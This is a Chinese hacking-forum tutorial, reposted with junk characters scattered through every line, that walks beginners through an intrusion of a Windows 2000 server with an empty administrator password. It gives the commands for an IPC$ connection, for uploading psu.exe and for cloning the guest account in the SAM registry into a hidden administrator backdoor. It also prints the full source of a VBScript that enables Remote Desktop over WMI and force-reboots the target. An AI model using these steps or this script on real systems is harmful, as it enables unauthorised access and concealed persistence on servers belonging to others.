|
一次简单的3389入侵过程
$ m/ w: i4 {, x. k( \0 S原创:caozhe(草哲)
% S) m3 q9 f/ I. Z9 p2 n来源:中国欲网技术论坛--草哲
& v" U2 D$ o' D0 ~ " N3 p1 i& Y. {: f# Z; A- R
我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!& s0 r) e& q5 j5 ~9 t, F1 ?
( d3 R# ?: C: p t; y# _: Q
于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!
6 s) F7 H/ Z' y0 r) g要入侵,我建议你在win2000环境下来*作!7 |' R) i4 [. C& V- L4 v4 Q& x
0 p* ~7 G* ?5 e; f0 ~0 ~7 c首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!5 {) X, K; L1 x
扫描的X-Scan V2.3、WINNTAutoAttack、流光!
A: e1 p# ?5 B" RX-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!1 [1 A$ O- U8 n3 L9 W; p) @
远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe)
) i+ C) e& C; l& f" \! _克隆帐户用个psu就可以了~!* n2 z/ n; w/ f$ C/ |9 }
/ J7 k5 P! C. V, W+ A" T
OK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空
. R' r7 N" G# i/ E! R+ k运行CMD(2000下的DOS),我们给它开终端!
; l8 @- v; [) O/ k ^命令如下!
" o& T- Y/ _1 s' Vcscript rots.vbe 120.0.0.1 administrator "" 3389 /fr
, J6 s* g { M) Z3 J, n上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)3 Q9 C# y8 M' A& X! N& v
* a+ Y" X- o- E4 K! |! g0 F
因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!" F, b7 E c; e. h P9 D; j- _$ h
$ q* h4 y0 |$ x* D( L+ ]/ O [一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t- d: k# u; s% x! Y: T4 W
安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!
- G+ B. J8 x$ ?, |" R0 u: X; B- o
. {6 p2 A/ \3 r3 u U: [2 y) M. z; |回到DOS下!我们建立IPC$连接!$ r# P9 p; J" l2 N
net use \\120.0.0.1\ipc$ "" /user:"administrator") J% P' d; R- ?1 Z' G4 I
这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下!
! o9 b+ S3 ]' H' mcopy psu.exe \\120.0.0.1\admin$\system32
@& F! b2 s' W" o: D上传完毕后,开始在肉鸡做后门帐户!看肉鸡!
5 O |. t8 B7 ~( Z- j1 }6 \) v# i9 R2 V: G5 l
假设guest用户被禁用,我们就是要利用guest做后门帐户!4 b) s3 d4 N0 R" T& S( d
在该服务器运行CMD,在命令行下输入
& v r0 {8 B6 |! G! Zpsu -p regedit -i PID
" F4 ?- p2 C6 j; h6 _/ x
! D; H& x( J2 [) o3 e [这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!
+ j6 F! }* L) L; h |看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是5458* P! L, M2 u* w/ r1 h* d
那么,命令就是这样/ {- q. b" j. C: e3 k
psu -p regedit -i 5458. O! J5 J9 Z8 a# S( [( n
这样直接打开注册表,可以读取本地sam的信息。8 c3 v' G6 Q6 e/ R; x* a3 m
打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users# F9 ]2 ?( I0 Y/ @
下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!3 h( E$ `$ U. P! N E2 U U' N
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
! U" G. f% t. A b; [6 A% a3 i& @8 A查看administrator的类型,是if4,再看guest的是if5
( k" N) ?) o+ n5 ^好了,知道了类型后,打开' M) r- }# ~ x) N2 a; a: K* Y
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
% M% k" o9 n7 H! b+ D9 H6 H- M这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开+ T8 h+ R" o& _- u& ?! U4 x+ j
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5- q5 F2 G5 F6 P, h
双击右侧的F,把刚复制的粘贴到里面!
/ y# i' m; N9 ^6 H$ J
0 p1 Q* D: i# a. g/ D: o4 }8 u做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
6 C8 C0 C4 N: G和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest
9 f. n: K/ x2 b( {0 z" c. ]. m这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。
: M' ]+ I2 z7 W6 S
5 \2 x+ a' G& j n: L. w A+ T# M打开CMD,在命令行下输入
" ?, V- H# v; w3 T2 x) }4 F6 Unet user guest password* O4 ?/ ~- Z$ R- Z% u) ~$ X, B( z& I
这条命令是给guest设置密码,后面的password就是密码. @( u" E& z$ @. Z' W* Q
然后输入/ z- n! H, w, s% P' r" ]
net user guest /active:y
( q% J- U* M, w$ `8 b& T3 y% E这命令是激活guest帐户,然后我们把他禁用: E/ n9 N2 V- C) i+ n1 `& W
net user guest /active:n$ L! ^6 q7 {2 Z9 `6 u5 u
上面的三行命令必须在DOS下执行!
y" P- m8 ?( I Q6 a* M- a' S6 E, z B: g( ~* w2 ~
OK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!
1 L, m4 ^- o8 R$ ]3 d$ h而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!/ F1 L" F" `- v1 [6 F Y1 d
- M: y! ]9 Y `9 \, b7 s
注销一下,用guest登陆吧!
- x0 M$ @6 C" W: o
7 P% T$ _5 h$ X1 `5 Q! |, I打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!
" i) H6 N* p f& D: @ V如果还有地方不明白的话,可以问我,我知道的一定告诉大家! f% a1 C; u0 u. B& I' |6 S
3 m: k2 g& ^4 K+ v3 I* p, z7 W
因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!0 i4 e( @! O# k6 R" k4 Q6 N1 t# }1 a" J
; {/ z& G# I$ _' C----------------------------------------------------------------------
- E8 n2 y: Y x% I2 a1 s4 ?7 c以下是开终端的脚本,把它存为*.vbe/ t% e7 c. N- w5 g R% j N
on error resume next
( h) X$ }, H/ B: r7 I4 \set outstreem=wscript.stdout6 v0 X4 n+ ^7 ]' H3 [0 [
set instreem=wscript.stdin5 v# k3 j B8 B9 E& l* X
if (lcase(right(wscript.fullname,11))="wscript.exe") then4 o/ E+ X9 P) b! s
set objShell=wscript.createObject("wscript.shell")
' n1 g! p# T: Q# D/ _ objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))- F$ ~/ S1 Q1 o" A
wscript.quit
. ^; ^9 d2 _2 N1 P% yend if
& {7 x- V2 @ S0 v! p& f' ~* ] C1 xif wscript.arguments.count<3 then" Q7 H) M9 s" j5 p# w5 Z
usage()1 h8 H8 N) y8 n- j0 j
wscript.echo "Not enough parameters."
: a! s5 q( R3 Q5 f9 S- c2 A wscript.quit
; H; W4 ^7 q& {6 T! l( C; Eend if
$ z9 I8 x$ }5 T; w) O5 @' C" N* g0 K) Z
ipaddress=wscript.arguments(0)0 m' P3 F7 o) n) `9 F
username=wscript.arguments(1)
! r7 x! j$ Q8 g* Upassword=wscript.arguments(2)
" X! Q8 h5 D9 L8 Hif wscript.arguments.count>3 then; `$ {( b! `+ \' i1 d ?
port=wscript.arguments(3)
/ _' w" E7 U7 k$ l0 melse- t: ^! N6 n) d7 W: C
port=3389
! x% O b6 R$ n- _9 O% |end if' x j, C. A& J8 n
if not isnumeric(port) or port<1 or port>65000 then7 `0 n' v6 s$ d( o' g
wscript.echo "The number of port is error."* W7 i) q. D' N5 v+ L
wscript.quit
! y- t7 s2 ?6 S1 `% Bend if
- w" n1 a P- Y3 m+ p! E5 jif wscript.arguments.count>4 then' ]5 Q0 f$ h5 m6 A; Y
reboot=wscript.arguments(4)
* w/ m" n3 ^) B4 d! P/ B( Ielse9 Z$ M2 l4 f5 i" ]
reboot=""
! d1 k) c7 d" L" D$ _& Eend if
+ c+ _( }* u8 O) S5 t: {' H. n M1 \) Y1 @8 `9 P$ l
usage()
: C# h1 {% k8 e2 {( Z/ H: A' T" Joutstreem.write "Conneting "&ipaddress&" ...."
: U+ z: C1 H0 @) g4 Lset objlocator=createobject("wbemscripting.swbemlocator")
Y* [ ~! F7 V, R! ~& O& tset objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
! d1 }: `" T2 t: F2 x+ r) p+ B) xshowerror(err.number)
, L. H& Z3 C9 Y5 u/ k2 nobjswbemservices.security_.privileges.add 23,true
' S8 T1 Y/ w( S! uobjswbemservices.security_.privileges.add 18,true
* M1 }; K8 D" U' ^% W! k: m! A+ g/ s8 @2 a
outstreem.write "Checking OS type...."* ]; c* U5 g8 F/ P! m* a6 D
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
/ a$ g1 s+ z6 ^/ c0 {) q1 D" Nfor each objinstoscaption in colinstoscaption
* v. A6 G; W& E3 u0 O1 d if instr(objinstoscaption.caption,"Server")>0 then+ i3 A2 \" P" `6 p4 M l# T: N# h
wscript.echo "OK!"
9 x. g9 @' H3 L' D% h& l else
4 R+ b4 e/ L" o n+ ~) l wscript.echo "OS type is "&objinstoscaption.caption+ Q5 Z' j/ V2 i
outstreem.write "Do you want to cancel setup?[y/n]"
6 s1 \. X4 T: d9 F% p strcancel=instreem.readline
7 M- G2 x( K' P' I1 s2 Q [5 {) ?4 w, n- M if lcase(strcancel)<>"n" then wscript.quit
# {7 B* X8 h/ @( _/ o z8 p2 D6 Y end if0 m/ e# @0 T% X+ N. k/ X/ F# V
next
* L9 n, Z* b( t$ s+ g& Q
7 A- p; J5 O$ T" v% R: q2 M3 y! X( }outstreem.write "Writing into registry ...."
% S1 h& H& u8 _* ?2 x9 }set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
7 U9 x; J. _2 m, J7 rHKLM=&h80000002
9 v0 {( r: y& z) S3 EHKU=&h80000003
" Q5 ]8 I! N5 a: O3 ~with objinstreg
6 r J# Y: w# m, ^! n& [.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
7 b+ c! c6 n7 w C.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 _! y3 f5 m" w: t: C8 Z
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
' _2 m: R. v. X+ u3 t.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",10 q3 D6 D) R* ^3 I5 D9 A7 |! \: P
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1% `/ [0 `& w! I
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2% h% A+ g' h0 i E! ^9 _' P+ @: v
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",21 S% l' H, O; V, m3 ]
.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"1 k4 V& M6 k3 L' d, q1 B
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port
p& i# k& _3 _/ j3 ~end with
2 Y5 m4 k5 }" [$ M/ U9 W# i7 ashowerror(err.number)& N4 L1 }7 D" Q" n% w4 ~# O) T9 T/ ]
. q/ U0 s( g; r( `0 g* o0 v* }; Y: ]
rebt=lcase(reboot)
! G: h/ O; K1 c6 x5 Y: p- @flag=01 Q I9 B. R- U+ r. O% S
if rebt="/r" or rebt="-r" or rebt="\r" then flag=2 A0 M& u3 S3 o. H) @
if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6
* L ]$ F+ b% I, M$ {8 zif flag<>0 then9 p- m8 M& p. _
outstreem.write "Now, reboot target...."+ l- J' x9 C, D6 [* X! |& g9 Y. n
strwqlquery="select * from win32_operatingsystem where primary='true'"
/ ~9 L# U/ ?! ]6 W, w+ o6 A y set colinstances=objswbemservices.execquery(strwqlquery)7 N# p [- }2 D+ V: z/ |) F6 B
for each objinstance in colinstances$ d- b Q7 _8 ?8 D: r4 c
objinstance.win32shutdown(flag)( V! z1 a, P& \% r# f/ Q
next5 z& J- y2 b7 u
showerror(err.number)$ [% b( ^/ d: G: X3 R
else
) }; f% Z. r$ t0 [% A wscript.echo "You need to reboot target."&vbcrlf&"Then,"
|" P$ n1 l; m% L' A; Vend if% j6 ^/ `! R$ r9 C& y
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"
/ |& _* ^: k" {. c. R# f2 ?) \# O; P( U) y+ A$ n4 e' A
function showerror(errornumber); d+ M0 I+ Y6 J) v# J. m
if errornumber Then
% W: c# ~; N7 U% B wscript.echo "Error 0x"&cstr(hex(err.number))&" ."' U( U' [/ [- h, r. o
if err.description <> "" then' H/ @, O0 G" F. F
wscript.echo "Error description: "&err.description&"."6 |1 _: D9 h1 {
end if3 T: z# ~% ~" o' q
wscript.quit
# i$ _7 |& J! ]2 W" {0 T8 z* ^' Z# celse; z8 J- T m( J: L9 p) r
wscript.echo "OK!"6 G2 N# N/ s* ]: j
end if O" U. @" U2 B+ P* q9 H
end function
- I3 T, y7 T) P0 U7 t8 E' l: a. o9 x2 P! d
function usage()3 X) ^5 `8 A; K9 ?" g( |4 v5 O4 o
wscript.echo string(79,"*")
( [' c4 ~! A0 [wscript.echo "ROTS v1.05"1 s4 g) q3 {* }* _& @
wscript.echo "Remote Open Terminal services Script, by 草哲"% w, y3 u- E+ G' Q* ~5 X/ ^
wscript.echo "Welcome to visite www.5458.net"
# W/ k& e' p* m8 [* J; V6 D& nwscript.echo "Usage:"
$ l% e6 Z) N4 P: {6 a& [wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"
. V# B4 H, g6 _& k, Qwscript.echo "port: default number is 3389."6 n+ e" [( R, {9 T; H6 K
wscript.echo "/r: auto reboot target."3 a0 g9 J$ W% q3 C; v
wscript.echo "/fr: auto force reboot target."
4 j6 T- l2 V* T: y1 e* \' @wscript.echo string(79,"*")&vbcrlf
0 \: v# y( X d4 F+ U* [, z* ~end function u c% g! Z5 v0 @
) k. t, s; i" V8 D: X; o
转自安全焦点 |
|